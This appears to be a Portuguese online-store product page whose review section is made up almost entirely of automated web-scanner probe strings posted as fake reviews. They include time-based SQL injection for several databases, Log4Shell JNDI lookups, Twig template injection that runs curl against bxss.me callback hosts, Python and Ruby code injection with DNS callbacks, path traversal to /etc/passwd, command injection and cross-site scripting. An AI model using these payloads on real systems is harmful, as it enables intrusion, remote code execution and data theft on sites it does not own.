Descrição
Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat vitae, ultricies eget, tempor sit amet, ante. Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo.





















pHqghUme –
555
${j${::-n}di:dns${::-:}${::-/}${::-/}hitiegtmksuqh7fee5${::-.}bxss.me}zzzz${url:UTF-8:http://hitnflbaqiheb.bxss.me/} –
555
response.write(9537153*9899820) –
555
rjSFghoA –
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg –
555
;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’)); –
555
pHqghUme –
str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hitaqltlmjqaa30c22.’+’bxss.me’)
pHqghUme –
555′”()&%GMWF(9520)
pHqghUme –
555ygpBNeCL
pHqghUme –
555*1
pHqghUme –
555*if(now()=sysdate(),sleep(15),0)
pHqghUme –
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
pHqghUme –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
pHqghUme –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
pHqghUme –
555-1; waitfor delay ‘0:0:15’ —
pHqghUme –
555-1); waitfor delay ‘0:0:15’ —
pHqghUme –
555-1 waitfor delay ‘0:0:15’ —
pHqghUme –
555PzF47IqW’; waitfor delay ‘0:0:15’ —
pHqghUme –
555-1 OR 148=(SELECT 148 FROM PG_SLEEP(15))–
pHqghUme –
555-1) OR 101=(SELECT 101 FROM PG_SLEEP(15))–
pHqghUme –
555-1)) OR 42=(SELECT 42 FROM PG_SLEEP(15))–
pHqghUme –
555Kmk3G2et’ OR 249=(SELECT 249 FROM PG_SLEEP(15))–
pHqghUme –
555IzEz35DS’) OR 119=(SELECT 119 FROM PG_SLEEP(15))–
pHqghUme –
555tRMVPh7D’)) OR 621=(SELECT 621 FROM PG_SLEEP(15))–
pHqghUme –
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
pHqghUme –
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
pHqghUme –
555
13L8KPX950 –
555
Anônimo –
555
pHqghUme –
555
pHqghUme&n952783=v981645 –
555
pHqghUme –
)
str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hitdfqesntcgpcc321.’+’bxss.me’) –
555
pHqghUme –
‘”>
pHqghUmejavascript:/* –
555
${9999441+10000440} –
555
“+str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hitikkmvazjqt75016.’+’bxss.me’)+” –
555
xfs.bxss.me –
555
pHqghUme –
555OCqhth5z
pHqghUme –
555*910*905*0
pHqghUme –
-1′ OR 5*5=25 —
pHqghUme'”()&%SsDL(9841) –
555
‘”()&%SsDL(9617) –
555
pHqghUme9807152 –
555
bfg8390<s1﹥s2ʺs3ʹhjl8390 –
555
Anônimo –
555
1}}”}}’}}1%>”%>’%> –
555
dfb{{98991*97996}}xca –
555
dfb[[${98991*97996}]]xca –
555
dfb__${98991*97996}__::.x –
555
pHqghUmeSsDL(9105) –
555
pHqghUme1ONKG[!+!] –
555
DExWtSbs (comprador verificado) –
555
pHqghUmeSsDL(9786) –
555
pHqghUmeSsDL(9217)9217 –
555
pHqghUme –
555uDQSfHcl’; waitfor delay ‘0:0:15’ —
pHqghUme –
555-1 OR 568=(SELECT 568 FROM PG_SLEEP(15))–
pHqghUme –
555-1) OR 518=(SELECT 518 FROM PG_SLEEP(15))–
pHqghUme –
555-1)) OR 443=(SELECT 443 FROM PG_SLEEP(15))–
pHqghUme –
555gy5XaCRo’ OR 175=(SELECT 175 FROM PG_SLEEP(15))–
pHqghUme –
555C1G4KouC’) OR 344=(SELECT 344 FROM PG_SLEEP(15))–
pHqghUme –
5558Vy0zEKK’)) OR 69=(SELECT 69 FROM PG_SLEEP(15))–
pHqghUme –
555′”
pHqghUme'”()&%U5oE(9072) –
555
pHqghUme'”()&%Dl4t(9549) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitlhzblhsyoaf7192.bxss.me”)}} –
555
pHqghUme'”()&%gLfN(9102) –
555
pHqghUme –
555
pHqghUme'”()&%dj2v(9443) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitvqblxdyksjf7e8e.bxss.me”)}} –
555
pHqghUme9436497 –
555
Anônimo –
555
1}}”}}’}}1%>”%>’%> –
555
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”) –
555
${j${::-n}di:dns${::-:}${::-/}${::-/}hitvcwynkqsue0405f${::-.}bxss.me}zzzz${url:UTF-8:http://hitymvvfbbmvc.bxss.me/} –
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg –
555
wp-comments-post.php –
555
pHqghUme9745033 –
555
1}}”}}’}}1%>”%>’%> –
555
1}}”}}’}}1%>”%>’%> –
555
pHqghUme'”()&%KF9y(9173) –
555
pHqghUme –
555vOLj8wea
pHqghUme –
555*899*894*0
pHqghUme –
555*151*146*0
pHqghUme –
-1′)) OR 5*5=25 —
pHqghUme –
555miUbvRam’; waitfor delay ‘0:0:15’ —
pHqghUme –
555-1 OR 33=(SELECT 33 FROM PG_SLEEP(15))–
pHqghUme –
555-1) OR 114=(SELECT 114 FROM PG_SLEEP(15))–
pHqghUme –
555-1)) OR 800=(SELECT 800 FROM PG_SLEEP(15))–
pHqghUme –
555jJFleKmn’ OR 736=(SELECT 736 FROM PG_SLEEP(15))–
pHqghUme –
555tm9gE6RW’) OR 118=(SELECT 118 FROM PG_SLEEP(15))–
pHqghUme –
555nbKl6OdR’)) OR 273=(SELECT 273 FROM PG_SLEEP(15))–
pHqghUme –
555%2527%2522\’\”
pHqghUme –
555
pHqghUme'”()&%rFaZ(9388) –
555
pHqghUme9603132 –
555
pHqghUme'”()&%CXGs(9192) –
555
pHqghUme9128805 –
555
bfg4650<s1﹥s2ʺs3ʹhjl4650 –
555
1}}”}}’}}1%>”%>’%> –
555
pHqghUme'”()&%Oj1L(9490) –
555
pHqghUme'”()&%ZBDa(9778) –
555
pHqghUme'”()&%wvzX(9836) –
555
pHqghUme'”()&%pi6C(9867) –
555
pHqghUme'”()&%0vdO(9795) –
555
pHqghUme'”()&%6ZsR(9130) –
555
pHqghUme'”()&%mQZc(9623) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitguwtmjfppu86493.bxss.me”)}} –
555
pHqghUme'”()&%rjMk(9596) –
555
pHqghUme'”()&%jqLv(9270) –
555
pHqghUme'”()&%zYyJ(9341) –
555
pHqghUme'”()&%TRb6(9448) –
555
pHqghUme'”()&%SyWq(9425) –
555
pHqghUme'”()&%Jqtk(9543) –
555
pHqghUme'”()&%yTRI(9401) –
555
pHqghUme'”()&%QiYL(9367) –
555
pHqghUme'”()&6e(9802) –
555
pHqghUme'”()&%z1kX(9102) –
555
wrBEIRqX –
555
${j${::-n}di:dns${::-:}${::-/}${::-/}hittqfbuiehfv8aa9b${::-.}bxss.me}zzzz${url:UTF-8:http://hitkzjehywhub.bxss.me/} –
555
${9999329+10000000} –
555
‘”() –
555
wrBEIRqX –
‘”
wrBEIRqX –
555
${j${::-n}di:dns${::-:}${::-/}${::-/}hittlfxguyokpafe21${::-.}bxss.me}zzzz${url:UTF-8:http://hitejylclvrau.bxss.me/} –
555
wrBEIRqX –
${j${::-n}di:dns${::-:}${::-/}${::-/}hitkramzoelmcfc2ee${::-.}bxss.me}zzzz${url:UTF-8:http://hitogqctfyibe.bxss.me/}
wrBEIRqX –
../../../../../../../../../../../../../../etc/passwd
wrBEIRqX –
../../../../../../../../../../../../../../windows/win.ini
Anônimo –
555
wrBEIRqX’&&sleep(27*1000)*gzzdlk&&’ –
555
“+”A”.concat(70-3).concat(22*4).concat(116).concat(79).concat(107).concat(74)+(require”socket” Socket.gethostbyname(“hitcq”+”tboplkhta040e.bxss.me.”)[3].to_s)+” –
555
wrBEIRqX –
xfs.bxss.me
wrBEIRqX –
555
wrBEIRqX –
555kNkdqkxV
wrBEIRqX –
555*1
wrBEIRqX –
555*339*334*0
wrBEIRqX –
555*if(now()=sysdate(),sleep(15),0)
wrBEIRqX –
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
wrBEIRqX –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
wrBEIRqX –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
wrBEIRqX –
555-1; waitfor delay ‘0:0:15’ —
wrBEIRqX –
555-1); waitfor delay ‘0:0:15’ —
wrBEIRqX –
555-1 waitfor delay ‘0:0:15’ —
wrBEIRqX –
555o2wOWqmK’; waitfor delay ‘0:0:15’ —
wrBEIRqX –
555-1 OR 476=(SELECT 476 FROM PG_SLEEP(15))–
wrBEIRqX –
555-1) OR 690=(SELECT 690 FROM PG_SLEEP(15))–
wrBEIRqX –
555-1)) OR 973=(SELECT 973 FROM PG_SLEEP(15))–
wrBEIRqX –
555WChFWKae’ OR 650=(SELECT 650 FROM PG_SLEEP(15))–
wrBEIRqX –
555u5LVgT3X’) OR 436=(SELECT 436 FROM PG_SLEEP(15))–
wrBEIRqX –
555wyg47FfF’)) OR 211=(SELECT 211 FROM PG_SLEEP(15))–
wrBEIRqX –
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
wrBEIRqX –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
wrBEIRqX –
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
wrBEIRqX –
555
wrBEIRqX wrBEIRqX –
555
wrBEIRqX wrBEIRqX –
1EXM967SEAK0
wrBEIRqX wrBEIRqX –
555
bcc:195432.46-77959.46.750f9.20291.2@bxss.me
wrBEIRqX wrBEIRqX –
http://bxss.me/t/xss.html?%00
wrBEIRqX wrBEIRqX –
555220ezsRY
wrBEIRqX wrBEIRqX –
555*1
wrBEIRqX wrBEIRqX –
555*if(now()=sysdate(),sleep(15),0)
wrBEIRqX wrBEIRqX –
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
wrBEIRqX wrBEIRqX –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
wrBEIRqX wrBEIRqX –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
wrBEIRqX wrBEIRqX –
555-1; waitfor delay ‘0:0:15’ —
wrBEIRqX wrBEIRqX –
555-1); waitfor delay ‘0:0:15’ —
wrBEIRqX wrBEIRqX –
555-1 waitfor delay ‘0:0:15’ —
wrBEIRqX wrBEIRqX –
555bIEy3X3I’; waitfor delay ‘0:0:15’ —
wrBEIRqX wrBEIRqX –
555-1 OR 320=(SELECT 320 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX –
555-1) OR 959=(SELECT 959 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX –
555-1)) OR 669=(SELECT 669 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX –
555B4KJNola’ OR 893=(SELECT 893 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX –
555Jj4LJ9Hd’) OR 944=(SELECT 944 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX –
555XKfmjLZz’)) OR 823=(SELECT 823 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX –
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
wrBEIRqX wrBEIRqX –
555′”()&%tzbd(9165)
wrBEIRqX wrBEIRqX –
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
${j${::-n}di:dns${::-:}${::-/}${::-/}hitmlferlqwvi29362${::-.}bxss.me}zzzz${url:UTF-8:http://hitsrzcuojclj.bxss.me/} (comprador verificado) –
555
wrBEIRqX&n918909=v935059 (comprador verificado) –
555
“+”A”.concat(70-3).concat(22*4).concat(100).concat(81).concat(112).concat(80)+(require”socket” Socket.gethostbyname(“hitug”+”xzvifkqv916e8.bxss.me.”)[3].to_s)+” (comprador verificado) –
555
wrBEIRqX –
555
wrBEIRqX (comprador verificado) –
555Yb25daXS
wrBEIRqX (comprador verificado) –
555*975*970*0
wrBEIRqX (comprador verificado) –
55517S7elfv’; waitfor delay ‘0:0:15’ —
wrBEIRqX (comprador verificado) –
555-1 OR 95=(SELECT 95 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555-1) OR 749=(SELECT 749 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555-1)) OR 332=(SELECT 332 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555KUq5BQTQ’ OR 747=(SELECT 747 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555lfnSWHQU’) OR 678=(SELECT 678 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555NYJNSFgC’)) OR 669=(SELECT 669 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555′”
wrBEIRqX –
555
MBWUpmEH (comprador verificado) –
555
echo ipndmd$()\ fpezjz\nz^xyu||a #’ &echo ipndmd$()\ fpezjz\nz^xyu||a #|” &echo ipndmd$()\ fpezjz\nz^xyu||a # (comprador verificado) –
555
redirtest.acx (comprador verificado) –
555
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) (comprador verificado) –
555
MBWUpmEH –
555
MBWUpmEH –
555
response.write(9370873*9094003) (comprador verificado) –
555
MBWUpmEH (comprador verificado) –
05kbPMWx
${9999232+9999976} (comprador verificado) –
555
MBWUpmEH’&&sleep(27*1000)*udpkqz&&’ (comprador verificado) –
555
http://bxss.me/t/rfi.php? (comprador verificado) –
555
wp-comments-post.php/. (comprador verificado) –
555
MBWUpmEHSl1OjbLP (comprador verificado) –
555
MBWUpmEH’ AND 2*3*8=6*8 AND ‘CJU0’=’CJU0 (comprador verificado) –
555
if(now()=sysdate(),sleep(15),0) (comprador verificado) –
555
MBWUpmEH0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z (comprador verificado) –
555
MBWUpmEH0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z (comprador verificado) –
555
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/ (comprador verificado) –
555
MBWUpmEH-1 waitfor delay ‘0:0:15’ — (comprador verificado) –
555
MBWUpmEHaXkKo6UC’; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
MBWUpmEHToN26gnE’ OR 397=(SELECT 397 FROM PG_SLEEP(15))– (comprador verificado) –
555
MBWUpmEH3311CPuC’) OR 827=(SELECT 827 FROM PG_SLEEP(15))– (comprador verificado) –
555
MBWUpmEHB46IZURg’)) OR 327=(SELECT 327 FROM PG_SLEEP(15))– (comprador verificado) –
555
MBWUpmEH’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’ (comprador verificado) –
555
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual) (comprador verificado) –
555
MBWUpmEH (comprador verificado) –
555YT9O72D6
MBWUpmEH (comprador verificado) –
555*1
MBWUpmEH (comprador verificado) –
-1′ OR 5*5=25 —
MBWUpmEH (comprador verificado) –
555*if(now()=sysdate(),sleep(15),0)
MBWUpmEH (comprador verificado) –
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
MBWUpmEH (comprador verificado) –
555U3otGdEI’; waitfor delay ‘0:0:15’ —
MBWUpmEH (comprador verificado) –
555-1 OR 875=(SELECT 875 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555-1) OR 378=(SELECT 378 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
MBWUpmEH (comprador verificado) –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
MBWUpmEH (comprador verificado) –
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
response.write(9163817*9201836) (comprador verificado) –
555
${9999898+9999554} (comprador verificado) –
555
MBWUpmEH (comprador verificado) –
‘”()
MBWUpmEH (comprador verificado) –
wp-comments-post.php
MBWUpmEH –
555
MBWUpmEH (comprador verificado) –
555lbmbx4XD
MBWUpmEH (comprador verificado) –
555*352*347*0
MBWUpmEH (comprador verificado) –
555*97*92*0
MBWUpmEH (comprador verificado) –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
MBWUpmEH (comprador verificado) –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
MBWUpmEH (comprador verificado) –
555-1; waitfor delay ‘0:0:15’ —
MBWUpmEH (comprador verificado) –
555-1); waitfor delay ‘0:0:15’ —
MBWUpmEH (comprador verificado) –
555-1 waitfor delay ‘0:0:15’ —
MBWUpmEH (comprador verificado) –
555xoiKX352′; waitfor delay ‘0:0:15’ —
MBWUpmEH (comprador verificado) –
555-1 OR 372=(SELECT 372 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555-1) OR 835=(SELECT 835 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555-1)) OR 84=(SELECT 84 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555el3UdO5I’ OR 93=(SELECT 93 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555SPT5C3IW’) OR 649=(SELECT 649 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555ZWochrZC’)) OR 232=(SELECT 232 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555′”
MBWUpmEH –
555
${j${::-n}di:dns${::-:}${::-/}${::-/}hitalkoswaoijd2c08${::-.}bxss.me}zzzz${url:UTF-8:http://hitowcjdrudeb.bxss.me/} (comprador verificado) –
555
MBWUpmEH (comprador verificado) –
‘”><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitfeprwhbuvgaa76b${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
MBWUpmEH (comprador verificado) –
555javascript:/*/-/[`*/[]/[(new(Image)).src=(/;/+/bxss.me/bsp?u=195432&r=297-11393&h=297-8575f-2&/).replace(/.;/g,[])]//’src=>
MBWUpmEH (comprador verificado) –
X4WKmDHB
../../../../../../../../../../../../../../etc/passwd (comprador verificado) –
555
MBWUpmEH (comprador verificado) –
12345′”\’\”);|]*{
”
c1ZpY05Bb1I= (comprador verificado) –
555
MBWUpmEH (comprador verificado) –
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
‘;print(md5(31337));$a=’ (comprador verificado) –
555
MBWUpmEH'” (comprador verificado) –
555
‘+str(__import__(“time”).sleep(9))+__import__(“socket”).gethostbyname(“hitewweqmmlzdb0511.”+”bxss.me”)+’ (comprador verificado) –
555
HttP://bxss.me/t/xss.html? (comprador verificado) –
555
“+”A”.concat(70-3).concat(22*4).concat(115).concat(87).concat(116).concat(78)+(require”socket” Socket.gethostbyname(“hitzt”+”qajoorkb5f1e8.bxss.me.”)[3].to_s)+” (comprador verificado) –
555
MBWUpmEH (comprador verificado) –
wp-comments-post.php/.
‘” (comprador verificado) –
555
MBWUpmEH (comprador verificado) –
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitlicblzwptse98d0.bxss.me”)}}
MBWUpmEH (comprador verificado) –
555o5vLdbX6
MBWUpmEH –
555
MBWUpmEH (comprador verificado) –
555*31*26*0
MBWUpmEH (comprador verificado) –
555*258*253*0
MBWUpmEH (comprador verificado) –
-1 OR 5*5=25 —
MBWUpmEH (comprador verificado) –
-1 OR 5*5=25
MBWUpmEH (comprador verificado) –
-1′) OR 5*5=25 —
MBWUpmEH (comprador verificado) –
555yYN3qUAt’; waitfor delay ‘0:0:15’ —
MBWUpmEH (comprador verificado) –
555-1 OR 293=(SELECT 293 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555-1) OR 793=(SELECT 793 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555-1)) OR 262=(SELECT 262 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555OB4HBjrq’ OR 332=(SELECT 332 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555Yqg06kKo’) OR 565=(SELECT 565 FROM PG_SLEEP(15))–
MBWUpmEH (comprador verificado) –
555740qgbry’)) OR 103=(SELECT 103 FROM PG_SLEEP(15))–
MBWUpmEH –
555
JYupWMLW (comprador verificado) –
555
1HQKDODHQ0 (comprador verificado) –
555
JYupWMLW (comprador verificado) –
555′”
JYupWMLW –
555
JYupWMLW'”()&%Va2m(9983) (comprador verificado) –
555
JYupWMLW9771644 (comprador verificado) –
555
1}}”}}’}}1%>”%>’%> (comprador verificado) –
555
JYupWMLW'”()&%rfsx(9636) (comprador verificado) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitnwzqzkzebq3c80a.bxss.me”)}} (comprador verificado) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitjzdkeozwdc12b04.bxss.me”)}} (comprador verificado) –
555
JYupWMLW –
555
JYupWMLW'”()&%bpwJ(9126) (comprador verificado) –
555
JYupWMLW'”()&%iXlq(9895) (comprador verificado) –
555
JYupWMLW’>”> (comprador verificado) –
555
JYupWMLW'”()&%zbYO(9078) (comprador verificado) –
555
JYupWMLWL3EBz5qf (comprador verificado) –
555
JYupWMLW’ AND 2*3*8=6*8 AND ‘U6ZX’=’U6ZX (comprador verificado) –
555
JYupWMLW0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z (comprador verificado) –
555
JYupWMLW0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z (comprador verificado) –
555
JYupWMLW'”()&%pAvg(9873) (comprador verificado) –
555
JYupWMLW-1 waitfor delay ‘0:0:15’ — (comprador verificado) –
555
JYupWMLWTFkla45A’; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
JYupWMLWlQUmiF0R’ OR 245=(SELECT 245 FROM PG_SLEEP(15))– (comprador verificado) –
555
JYupWMLWeVRYT5pl’) OR 196=(SELECT 196 FROM PG_SLEEP(15))– (comprador verificado) –
555
JYupWMLWg3e7EkfT’)) OR 424=(SELECT 424 FROM PG_SLEEP(15))– (comprador verificado) –
555
JYupWMLW’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’ (comprador verificado) –
555
JYupWMLW'” (comprador verificado) –
555
JYupWMLW (comprador verificado) –
555ZhZjRchw
JYupWMLW (comprador verificado) –
555*1
JYupWMLW (comprador verificado) –
-1 OR 5*5=25 —
JYupWMLW (comprador verificado) –
555*if(now()=sysdate(),sleep(15),0)
JYupWMLW (comprador verificado) –
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
JYupWMLW (comprador verificado) –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
JYupWMLW (comprador verificado) –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
JYupWMLW (comprador verificado) –
555-1; waitfor delay ‘0:0:15’ —
JYupWMLW (comprador verificado) –
555-1); waitfor delay ‘0:0:15’ —
JYupWMLW (comprador verificado) –
555-1 waitfor delay ‘0:0:15’ —
JYupWMLW (comprador verificado) –
555e31vFArh’; waitfor delay ‘0:0:15’ —
JYupWMLW (comprador verificado) –
555-1 OR 879=(SELECT 879 FROM PG_SLEEP(15))–
JYupWMLW'”()&%r9gi(9686) (comprador verificado) –
555
JYupWMLW (comprador verificado) –
555-1)) OR 751=(SELECT 751 FROM PG_SLEEP(15))–
JYupWMLW'”()&E9(9894) (comprador verificado) –
555
JYupWMLW (comprador verificado) –
555BYE7xgCN’) OR 636=(SELECT 636 FROM PG_SLEEP(15))–
JYupWMLW (comprador verificado) –
555TrAjxBoI’)) OR 84=(SELECT 84 FROM PG_SLEEP(15))–
JYupWMLW (comprador verificado) –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
JYupWMLW'”()&%EIIM(9752) (comprador verificado) –
555
JYupWMLW'”()&%OMxB(9027) (comprador verificado) –
555
JYupWMLW –
555
wrBEIRqX wrBEIRqX (comprador verificado) –
555′>”>
wrBEIRqX wrBEIRqX (comprador verificado) –
555′”()&%uVNo(9445)
wrBEIRqX wrBEIRqX (comprador verificado) –
555EAsImFh8
wrBEIRqX wrBEIRqX (comprador verificado) –
555*666*661*0
wrBEIRqX wrBEIRqX (comprador verificado) –
5555YgFQDH3′; waitfor delay ‘0:0:15’ —
wrBEIRqX wrBEIRqX (comprador verificado) –
555-1 OR 679=(SELECT 679 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555-1) OR 749=(SELECT 749 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555-1)) OR 323=(SELECT 323 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555GfgwaesE’ OR 957=(SELECT 957 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555BzT7nwNl’) OR 222=(SELECT 222 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555HCBiaBPl’)) OR 556=(SELECT 556 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
wrBEIRqX wrBEIRqX (comprador verificado) –
555′”
JYupWMLW'”()&%mMH0(9372) (comprador verificado) –
555
JYupWMLW'”()&%MsjD(9684) (comprador verificado) –
555
JYupWMLW'”()&%mv1w(9746) (comprador verificado) –
555
JYupWMLW'”()&%XxMp(9741) (comprador verificado) –
555
JYupWMLW'”()&Jy(9573) (comprador verificado) –
555
JYupWMLW'”()&%5ST9(9042) (comprador verificado) –
555
GoaCDtTd (comprador verificado) –
555
1XT4AD3CI0 (comprador verificado) –
555
GoaCDtTd (comprador verificado) –
555′”
GoaCDtTd'”()&%Hh4z(9417) (comprador verificado) –
555
‘”()&%Hh4z(9903) (comprador verificado) –
555
tGhYxqFm (comprador verificado) –
555
1BFB66NQLL0 (comprador verificado) –
555
tGhYxqFm (comprador verificado) –
5559237149
tGhYxqFm (comprador verificado) –
1}}”}}’}}1%>”%>’%>
tGhYxqFm (comprador verificado) –
bfgx1752z1z2abcxhjl1752
tGhYxqFm'”()&%g8XM(9217) (comprador verificado) –
555
tGhYxqFm'”()&%kPll(9196) (comprador verificado) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitzzwnrywhfe3fa23.bxss.me”)}} (comprador verificado) –
555
tGhYxqFm'”()&%z3ra(9943) (comprador verificado) –
555
tGhYxqFm9059939 (comprador verificado) –
555
1}}”}}’}}1%>”%>’%> (comprador verificado) –
555
tGhYxqFm'”()&%wX2k(9807) (comprador verificado) –
555
tGhYxqFm'”()&%2HgM(9676) (comprador verificado) –
555
‘”()&%2HgM(9770) (comprador verificado) –
555
tGhYxqFm’>”> (comprador verificado) –
555
tGhYxqFm'”()&%KorZ(9389) (comprador verificado) –
555
tGhYxqFm (comprador verificado) –
5559869735
tGhYxqFm (comprador verificado) –
\
tGhYxqFm (comprador verificado) –
<th:t="${dfb}#foreach
tGhYxqFm (comprador verificado) –
dfb{{98991*97996}}xca
tGhYxqFm (comprador verificado) –
dfb{#98991*97996}xca
tGhYxqFm (comprador verificado) –
dfbxca
tGhYxqFm (comprador verificado) –
#{98991*97996*98991*97996}
tGhYxqFm (comprador verificado) –
dfb__${98991*97996}__::.x
tGhYxqFm (comprador verificado) –
1}}”}}’}}1%>”%>’%>
tGhYxqFm (comprador verificado) –
dfb[[${98991*97996}]]xca
tGhYxqFm (comprador verificado) –
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
tGhYxqFm'”()&hG(9511) (comprador verificado) –
555
tGhYxqFm'”()&%Y59c(9354) (comprador verificado) –
555
pHqghUme (comprador verificado) –
1
1 (comprador verificado) –
555
1BNSHT3LD0 (comprador verificado) –
555
‘.gethostbyname(lc(‘hitab’.’shsamwwk771f2.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(113).chr(69).chr(118).chr(80).’ (comprador verificado) –
555
1′”()&%v74q(9990) (comprador verificado) –
555
pHqghUme (comprador verificado) –
